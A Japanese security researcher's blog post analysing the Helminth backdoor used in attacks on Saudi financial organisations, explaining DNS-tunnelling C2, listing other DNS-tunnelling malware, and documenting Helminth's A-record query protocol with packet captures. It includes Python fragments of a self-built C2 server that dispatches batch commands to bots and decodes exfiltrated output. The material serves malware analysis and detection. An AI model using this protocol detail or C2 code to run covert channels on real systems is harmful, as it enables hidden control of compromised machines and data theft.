標的型攻撃で使われたマルウェアを解析して C2 サーバを作った。そのマルウェアは DNSトンネリングを行う珍しいものだった。

f:id:shutingrz:20170525142718p:plain
マルウェアを動かして 自作 C2 サーバとやりとりをしている図。詳しくはページ下部にて解説
 
しゅーとです。

去年あたりに、サウジアラビアの金融機関を狙った標的型攻撃があったのですが、その攻撃にDNS トンネリングを用いて情報を外部に送信するマルウェア「Helminth」が使われました。

詳細レポートは Palo Alto Networks の脅威対策チーム Unit42 が出してくれています。
OilRig攻撃活動: サウジアラビアの組織への攻撃でHelminthバックドアを配信 - Palo Alto Networks

ちょうど検体も出回っていたので、 Helminth の解析を行い、C2サーバ(C&Cサーバ)を作成してみました。

この記事では、解析の過程で発見した仕様と、マルウェアに馴染みがない方のためのDNSトンネリングの仕組みと概要を記載しています。

DNSトンネリングの仕組み

HTTP を用いた C2 通信

マルウェアが C2サーバと情報をやりとりする際に最も使われるプロトコルは、HTTP(S) です。
HTTP においてマルウェアから C2サーバに情報を送信するためには HTTP リクエストを行います。
また、C2サーバからマルウェアにコマンド指令を送信するためにはマルウェアからの HTTP リクエストに対して HTTP レスポンスを行います。
なぜマルウェアは HTTP 通信をよく用いるのでしょうか。私はいくつか理由があると思っています。
 

  1. ほとんどのOSでHTTP通信が可能である
  2. プロキシサーバが存在している場合でも、クライアントの通信がほぼそのままで外部に抜け出せるようになっている
  3. 様々なデータを柔軟に表現できる

 
セキュリティに気を使っている会社では、不必要なポートを閉じるようにして、プロキシサーバからでないと通信できないようにするなど経路を絞ることを頑張っています。

しかし HTTP通信はプロキシサーバを経由したとしてもクライアントが出した通信をほぼそのまま外に出すことができるため、攻撃者にとっては非常に使い勝手の良いプロトコルになっています。

※プロキシサーバを置く一番の理由はプロキシログを取って定期的な監査を行うためだと思いますが、最近は ChChes をはじめ、 Cookie に情報を入れるマルウェアが増えているため、プロキシログだけでは正確な監査が難しくなっています。

DNS を用いた C2 通信

監査をする人も上記の特徴を当然把握し HTTP 通信の監視を強化しているため、攻撃者は別の方法でなんとかバレないように情報をやりとりする方法を模索しています。
そこで注目されたのが DNS でした。
HTTP 通信の特徴を DNS に置き換えるとどうなるでしょうか。マルウェアから C2サーバは DNS クエリで、C2サーバからマルウェアDNS レスポンスになります。

またセキュリティに気を使っている会社では、HTTP と同様にキャッシュサーバ以外の IPアドレスから外部に名前解決ができないようにしていると思いますが、クエリの qname はどうしても外部に出さないといけません。その点で HTTP と非常に似た特徴を持っているのです。

具体的に TXT レコード の名前解決を例に出してみましょう。 通常は www.shutingrz.com の TXT レコードを問い合わせて 文字列が返される流れですが、マルウェアから C2サーバに感染端末の OS のバージョン情報を送信しようと考えると、 windows10.shutingrz.com というドメイン名の TXT レコードを C2サーバに問い合わせることで情報の送信ができます。

逆に C2サーバからマルウェアWindowsバージョン情報を取得しろという指令を出したい場合、マルウェアに一定間隔でドメイン名を問い合わせさせ、指令を出したいタイミングで TXT レコードのレスポンスに「ver」 (コマンドプロンプトで実行するとWindows のバージョンが取得できる) を載せれば指令の送信ができます。

以上のような手法を用いることで、DNS を用いた C2 通信が可能になるのです。

また、参考までにDNSトンネリング機能を持つマルウェアの一覧をまとめたので記載します。

DNS トンネリングを行うマルウェア一覧
マルウェア ホスト名の規則 レコード 備考
PlugX (0x36a4) [base32][何かの規則].subdomain.domain TXT DNS以外にICMP, HTTPでのC2通信がある
PlugX (0x2540) [base64].subdomain.domain TXT ホストのエンコード方式がbase64なので、ホスト名に "+" "/" が含まれる
MULTIGRAN亜種 log.[base32]. datavhg[.]com TXT 左端のホスト名が”log”で固定化されている
pisloader [何かの規則][base32].subdomain.domain TXT ホスト名に含まれる情報をデコードをするコードがUnit42のgithubページで公開されている
Feederbot [50 bytes].[CHUNK-ID].[qdparam].subdomain.domain TXT 2011年に発見されたマルウェアらしく、DNSをつかうものとしては古参
DNSMessenger [暗号化{データ]}].subdomain.domain TXT 最も最近(2017年2月?)に使われた、DNSトンネリングするマルウェア。データが多い時はTCPを使う
FrameworkPOS [エンコード].domain A/AAAA getaddrinfo を使っている
C3PRO-RACCOON [base64].domain CNAME レスポンスの規則: [cmd].[arg].domain ※CNAMEを用いている珍しいタイプ
Helminth [規則].subdomain.domain A 今回詳しく解説

まとめてみると想像以上にありました。色々なマルウェアがセキュリティ機器およびセキュリティエンジニアによる検知の回避のために趣向を凝らしていることがよくわかります。
また、ほとんどのマルウェアが TXT レコードを用いています。

SMTP を用いた C2 通信

HTTP, DNS 以外にも、直接の通信をファイアウォールで閉じたとしても別機器を経由することで外部ネットワークにそのまま情報を出せるものがあります。
SMTP(メール)です。
現時点では SMTP を使った C2 通信を行うマルウェアは滅多にありませんが、一応あります。PerfectKeylogger という名の少し古い時期に出たマルウェアです。

PerfectKeylogger はメールの送信先をC2サーバにして、感染端末の情報をメール本文に記載し送信します。
https://www.fireeye.com/content/dam/legacy/blog/2012/11/6a00d835018afd53ef01156e3247e0970c-800wi.jpg

詳しくは FireEye のレポートを参照してください。
E-Bandits - Part 1 « Threat Research Blog | FireEye Inc

メールは認証情報が必要だから攻撃者が使いづらいという意見もありそうですが、プロキシのID, Pass を取り出して HTTP 通信を行うマルウェアが既にあるので、SMTP を用いた C2 通信が多く使われるのは時間の問題かと思います。

Helminth の解析

Helminth の概要

ようやく Helminth の説明を始めます。Unit 42 には書かれていない、少し細かい内容を書いています。

Helminth は、2つのスクリプトから成り立っています。

今回は ps1 ファイルを解析し、それに合わせた C2サーバを作成しました。

Helminth の特徴

C2通信に A レコードを用いる点

Helminth の 1番の特徴は、よく使われるような TXT レコードではなく、 A レコードを用いて C2 サーバとの通信を行う点です。
TXT レコードは、汎用的に情報を載せることが可能である一方、通常のDNS通信ではあまり使われない レコードであることから、セキュリティ機器に検知されやすい弱点も持っています。
そのため、A レコードを使うことで検知される可能性を減らすことができます。当然 TXT レコードとは逆に情報を載せる場合の制約が多いというデメリット (IPアドレスの 1オクテットに載せられる情報は 8bitまで) があります。

Helminth は 8bit に収まる文字表現として アスキーコード(7bit) を用いています。

感染端末での実行コマンドの形式がバッチスクリプトである点

通常のマルウェアのC2コマンドは、あらかじめ決められたコマンドを用いることが多いです(put や get など)。
Helminth の場合はバッチスクリプトの形式になっていますが、これは、仕様の制約とDNSトンネリングのスクリプトは初期侵入に使われている点から様々なケースに対応するためだと思います。

なぜかドメイン名に載せる情報の表現がアスキーコードになっている点

C2サーバからマルウェアにコマンド指令をする際は IPアドレスとして情報を載せなければいけないためアスキーコードになっていることは納得できます。
しかし Helminth はC2サーバに送るドメイン名に情報を入れる際、アスキーコードで情報を入れているのです。

例(マルウェアからC2サーバへの実行結果を送信するときのクエリのqname):
001100000BQZ0D0A433A5C55736572735C7368753E64697220633A5C200D.s.com
C:\Users\shu>dir c:\

この仕様によって、Helminth はアスキーコードに入っている文字以外の文字を送信することができないのです。当然日本語を送ることも不可能です。

Helminth の細かい仕様の話をすると、 Helminth はバッチスクリプトの実行結果を 1行づつエンコードしパケットを送信します。
また、日本語 OS上で dir c:\ を実行した時に、日本語で「ドライブ C のボリュームラベルがありません」という出力がでる場合がありますが、
Helminth は実行結果の行にアスキーコード以外の文字が含まれる場合はその行を飛ばすという仕様になっているため、C2サーバで受信すると実行結果が歯抜けになってしまうんです。

Helminth はサウジアラビアの金融機関を狙ったとのことなので、そうなると標的 PCの言語はアラビア語ですよね?
アラビア語の文字はアスキーコードに含まれないので完全なデータを送れないのではと思います。
なぜこんな仕様なのかはよくわかりません・・・。
メリットとしては、アスキーコード 1文字のhexは ドメイン名において 2文字で表現できることから、少ない通信回数と固定長で情報を送れる点でしょうか・・・。

その他の特徴
  • 0.5秒間隔で 20回 DNSクエリを送信し、それまでに1回も A レコードが返ってきていない場合は終了する
  • ドメイン名の RFC に準拠するためなのか、ドメイン名に情報を載せる際のエンコード方式は base32

※他のマルウェアも base32 を使っているものがあるので特に珍しくはないです。

次項から具体的なクエリの法則について説明をします。

Bot ID の要求

bot からの bot id の要求通信

00000000[(random)]30.domain

↓上記に対する C2 サーバからの返答

[botid].0.0.0

C2 サーバの返答はアスキーコードの 10進数表現を IPアドレスとして埋め込んでいます。

  • 既に bot id がスクリプト内に埋め込まれている場合は通信を行わない
  • bot は A レコードの第一オクテットのみ確認するため、実際の C2 サーバが第2オクテット以降の値をどう設定しているかは不明

この通信は文字列長がある程度固定なので、通信を検知するためのシグネチャが書きやすいです。

実行コマンドの要求

bot からの実行コマンドの開始要求時のクエリ名

00[botid]00000[(random)]30.domain

↓上記に対する C2サーバからの返答

35.35.x.y ←x.yは cmdid(記号・制御文字以外であれば何でもよい)

↓転送開始時の、bot からの実行コマンド受付中のクエリ名

00[botid]00000[(random)]232A[chr(x)][chr(y)][partid].domain

・上記に対する C2 サーバからの返答
- 転送中のとき

a.b.c.d ←アスキーコード 10進表現

- 転送終了のとき

35.35.35.35

データの順番を整えるためにドメイン名に partid が振られているのはちょっと面白いです。

実行結果の送信

bot からの実行結果送信の通信

00[botid][cmdid][partid][(random)][DATA].domain

cmdid ← 実行コマンド応答時の cmdid
partid ← 実行結果を分割したときの通し番号
DATA ← 実行結果(アスキーコード 16進表現)

・上記に対するC2サーバからの返答
不明 (今回は便宜的に 127.0.0.1 を使用した)

botは結果送信時の応答について定めていないため、実際の C2サーバが A レコードの値をどう設定しているかは不明
実行コマンド転送に用いている 35.35. から始まるもの以外ならば何でも良いです。

Helminth を動かして情報をやりとりしてみた

一番初めの botid の取得からコマンド指令の受信、実行結果の送信をパケットキャプチャしました。

botid の取得

f:id:shutingrz:20170525142708p:plain

C2サーバからの返答は 76.0.0.0 です。
アスキーコード 10進数 の 76 を文字に変換すると、「L」であり、今回動かしたボットに与えた botid は L であることがわかります。

コマンド指令の受信

f:id:shutingrz:20170525142718p:plain

最初のパケットは「何か実行して欲しいものあったら言ってね」という旨のビーコンです。
C2サーバで実行して欲しい時には 35.35.x.y の形式でレスポンスを返します。
特に実行してもらう必要がない場合は無視をします。
今回は2つめのパケットで 35.35.x.y を返しているので実行して欲しいってことですね。


3つ目以降のパケットは実行して欲しいコマンドをIPアドレスの形で送受信しているところです。
C2 サーバが返した IP アドレスを下記に記載します。

IPアドレス アスキーコード 変換結果
100.105.114.32 100 105 114 32 dir [SP]
99.58.92.10 99 58 92 10 c:\ [LF]
10.10.10.10 10 10 10 10 [LF][LF][LF][LF]
35.35.35.35 35 35 35 35 (転送終了の合図)

※今回作成した C2 サーバでは、コードの簡略化のため最後のパディングとして [LF] を挿入させています。
 
デコードしたものを全て結合してみると「dir c:\ [LF][LF][LF][LF][LF]」になります。C ドライブ直下のディレクトリ構造を出力させるようなコマンドです。
バッチスクリプトでは空行は無視されるので、実行結果に影響はありません。

実行結果の送信

f:id:shutingrz:20170525142726p:plain

実行結果を Helminth がひたすら送信している図です。
応答はなんでもいいので、127.0.0.1 を返す実装にしました。

C2サーバに送ったドメイン名からデータ部分と partid を抜き出して下記に記載します。

【partid : data】

000:0D0A433A5C55736572735C7368753E64697220633A5C200D
004:0A0D0A323030392F30362F3131202030363A343220202020
005:2020202020202020202020203234206175746F657865632E
006:6261740D0A323030392F30362F3131202030363A34322020
007:2020202020202020202020202020313020636F6E6669672E
008:7379730D0A323030392F30372F3134202031313A33372020
009:20203C4449523E20202020202020202020506572664C6F67
00A:730D0A323031362F31322F3138202031313A313920202020
00B:3C4449523E2020202020202020202050726F6772616D2046
00C:696C65730D0A323031362F31322F3138202030393A313320
00D:2020203C4449523E2020202020202020202055736572730D
00E:0A323031362F31322F3138202031313A3139202020203C44
00F:49523E2020202020202020202057696E646F77730D0A2020
00K:88E60D0A

partid をよーく見てみると、001-003, 00G-00J が抜けています。
これは、該当行に日本語が含まれていたため、 Helminth がその行を抜かしてC2サーバに送ったためです。

また、データをデコードした結果を記載します。

C:¥Users¥shu>dir c:¥ 

2009/06/11  06:42                24 autoexec.bat
2009/06/11  06:42                10 config.sys
2009/07/14  11:37    <DIR>          PerfLogs
2016/12/18  11:19    <DIR>          Program Files
2016/12/18  09:13    <DIR>          Users
2016/12/18  11:19    <DIR>          Windows
  域

なぜか最後に 88E6(=> SJIS で「域」)が含まれていますね。日本語が複数行にわたって記述されていた関係でしょうか。原因調査していないのでわかりません。

おまけ

Helminth からのクエリを見てどのモードか判断する python コード

#qname.label[0] => host part.
#ex.  aaa.google.com => aaa
  if (helm.qname.label[-2] + "." + helm.qname.label[-1]) == TARGETED_DOMAIN:
    data = helm.qname.label[0]
    print("data: %s" % data)
    
    #GetID   (GetSub 0)
    if data[0:8] == "00000000":
      print("  [+] GetID")
      msg = helm.getID();

      s.sendto(msg, peer)
    
    #Alive & send command (batch program.) (GetSub 1)
    elif (data[0:2] == "00" and data[3:8] == "00000") :
      print("  [+] Alive or Send")

      #check botid
      if data[2:3] == helm.botid :
        print("       - botid:%s" % helm.botid)

        msg = helm.getCmd();  #get batch program

        s.sendto(msg, peer)

    #Received data (GetSub 2)
    elif (data[0:2] == "00" and data[3:8] != "00000") :
      print("  [+] receive data")

      #check botid
      if data[2:3] == helm.botid :
        print("       - botid:%s" % helm.botid)

        msg = helm.recvData(data);

        s.sendto(msg, peer)
      

    else:
      pass;

GetSub の意味については検体を確認してください。

Helminth から受信した実行結果をデコードする python コード

  def recvData(self, qdata): # qdata はドメイン名の最初のラベル
    botid = qdata[2:3]
    cmdid = qdata[3:5]  #fileid
    partid= qdata[5:8]  #partid (base36)
    rand  = qdata[8:11] #rand data (base36)
    data  = qdata[11:]  #txt data

    for dec in [(i+j) for (i,j) in zip(data[::2], data[1::2])]:
      encstr = "%" + dec
      print("%s" % urllib.unquote(encstr))

※このコードは partid の整列をしてないので注意

検体

Helminth DNS client's (dns.ps1) md5 hash:
541d10027191b062c4c534b82686639c

その他

質問は @shutingrz までお願いします。
パケットが欲しい人がいればその旨を伝えてください。
C2 サーバが欲しい人がいれば・・・私と友好関係を築いてください・・・。